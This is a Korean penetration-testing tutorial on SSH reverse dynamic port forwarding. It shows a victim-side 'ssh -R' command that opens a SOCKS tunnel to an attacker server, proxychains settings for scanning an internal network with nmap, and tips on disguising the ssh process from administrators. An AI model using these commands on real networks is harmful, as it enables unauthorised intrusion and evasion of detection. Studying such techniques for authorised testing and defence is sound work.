모의해킹
피버팅과터널링_09_피버팅 고급 리버스 다이나믹 포트 포워딩
작성자 : Heehyeon Yoo|2025-12-19
# 모의해킹# PNT# SSH# ReverseDynamicPortForwarding# SOCKS
1. 개요
리버스 다이나믹 포트 포워딩(Reverse Dynamic Port Forwarding)은 리모트 포트 포워딩(Reverse Connection)과 다이나믹 포트 포워딩(SOCKS Proxy)의 장점을 결합한 고급 기법이다.
공격자가 피벗 호스트에 직접 접속할 수 없는 환경(방화벽, NAT 등)에서, 피벗 호스트가 공격자에게 역으로 접속(Reverse)하면서 동시에 SOCKS 프록시 터널을 생성하는 방식이다. 이를 통해 공격자는 피벗 호스트를 경유하여 내부망 전체를 스캔하거나 다양한 서비스에 접근할 수 있다.
2. 동작 원리 (최신 OpenSSH 기준)
현대적인 OpenSSH 버전(7.6 이상)부터는 -R 옵션 만으로도 리버스 다이나믹 포트 포워딩을 쉽게 구현할 수 있다.
- 연결 요청: 피벗 호스트(Client 역할)에서 공격자(Server 역할)로 SSH 연결을 시도한다.
- SOCKS 리스닝: 피벗 호스트는 공격자 서버의 특정 포트(예: 1080)를 SOCKS 프록시로 바인딩하도록 요청한다.
- 터널링: 공격자가 자신의 로컬 포트(1080)로 트래픽을 보내면, 이 트래픽은 SSH 역방향 터널을 타고 피벗 호스트로 전달된다.
- 다이나믹 라우팅: 피벗 호스트는 전달받은 트래픽을 해석하여 내부망의 최종 목적지로 라우팅한다.
3. 명령어 및 설정
3.1 피벗 호스트(Victim) 측 명령어
피벗 호스트에서 공격자 서버(10.8.0.2)로 접속하며, 공격자 서버의 8888 포트를 SOCKS 프록시로 연다.
# SOCKS 포트(8888)를 공격자 서버(Loopback)에 생성
ssh -N -R 8888 [email protected]
참고: OpenSSH 구버전에서는
-R옵션이 다이나믹 포워딩을 지원하지 않을 수 있다. 이 경우 일반적인 리모트 포트 포워딩(-R)을 맺은 뒤, 공격자가 다시 로컬 포트 포워딩이나 다이나믹 포워딩(-D)을 중첩하여 사용하는 복잡한 과정이 필요하다. 하지만 최신 환경에서는 위 명령 하나로 충분하다.
3.2 공격자(Attacker) 측 설정
공격자는 자신의 로컬 머신에 생성된 8888 포트를 ProxyChains 등을 통해 이용한다.
- 리스닝 확인:
netstat -antp | grep 8888 # tcp 0 0 127.0.0.1:8888 0.0.0.0:* LISTEN (sshd) - ProxyChains 설정 (
/etc/proxychains4.conf):[ProxyList] socks5 127.0.0.1 8888 - 내부망 공격 수행:
proxychains nmap -sT -Pn 10.1.20.0/24 proxychains firefox
4. 활용 시나리오 요약
- 상황: 공격자가 외부에서 내부망의
Pivot Host로 접속 불가능 (Inbound Block).Pivot Host는 인터넷 접속 가능 (Outbound Allow). - 목표:
Pivot Host너머의Target Network전체를 제어하고 싶음 (단순 1:1 포워딩으론 부족). - 해결책:
- 공격자는 공인 IP(또는 도달 가능한 IP)를 가진 SSH 서버를 구동(
10.8.0.2). Pivot Host에서ssh -R 8888 [email protected]실행.- 공격자는
127.0.0.1:8888을 통해 내부망 유람.
- 공격자는 공인 IP(또는 도달 가능한 IP)를 가진 SSH 서버를 구동(
5. OpsSec 고려사항
- SSH 서버 설정: 공격자 측 SSH 서버의
GatewayPorts설정에 따라 SOCKS 포트가 외부(0.0.0.0)에 노출될지 로컬(127.0.0.1)에만 열릴지 결정된다. 보안을 위해 기본값(Localhost Only)을 권장한다. - 프로세스 은닉: 피벗 호스트에서 실행되는
ssh프로세스는 관리자에게 발각될 위험이 있으므로, 프로세스 명을 변경하거나 백그라운드 서비스로 위장하는 기법과 병행되기도 한다.